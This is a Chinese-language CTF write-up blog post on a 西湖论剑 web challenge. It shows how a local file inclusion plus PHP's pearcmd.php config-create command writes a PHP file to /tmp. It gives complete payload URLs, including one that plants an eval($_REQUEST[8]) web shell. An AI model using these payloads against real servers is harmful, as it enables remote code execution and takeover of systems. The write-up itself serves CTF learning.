利用 pearcmd.php 实现 Getshell
学习连接:西湖论剑的一道Web
源码
1 |
|
分析
信息搜集了一圈,啥也没有,也就是说不知道flag在哪个文件夹,自然无法简单的include
先分析源码吧
file_get_contents($_GET[‘check’]) === “LFI”
这里要求 $check
文件中的内容必须为 LFI
,有两种方法:
① ?check=php://input
,请求包中加上POST数据:LFI
② ?check=data://text/plain,LFI
@include($_GET[‘a’]);
可以读取任意文件
一般思路是寻找可包含文件,但刚才信息收集下来没有发现可疑文件,这个时候考虑包含系统敏感文件、php配置文件、Apache配置文件等
我尝试了一圈发现不可行
利用Pearcmd.php
简单来说就是利用这个文件中的pear命令行,其中有个可利用参数 config-create
,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
learn by here
构造payload:/?check=data://text/plain,LFI&+config-create+/&a=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php
访问 /tmp/shell.php
剩下的就是常规套路/?check=data://text/plain,LFI&+config-create+/&a=/usr/local/lib/php/pearcmd.php&/<?=eval($_REQUEST[8])?>+/tmp/shell.php
- 标题: 利用 pearcmd.php 实现 Getshell
- 作者: Itachi
- 创建于 : 2022-01-12 19:53:39
- 更新于 : 2022-01-12 22:09:17
- 链接: https://blog.tarchi.top/ctf/利用pearcmd-php实现Getshell/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论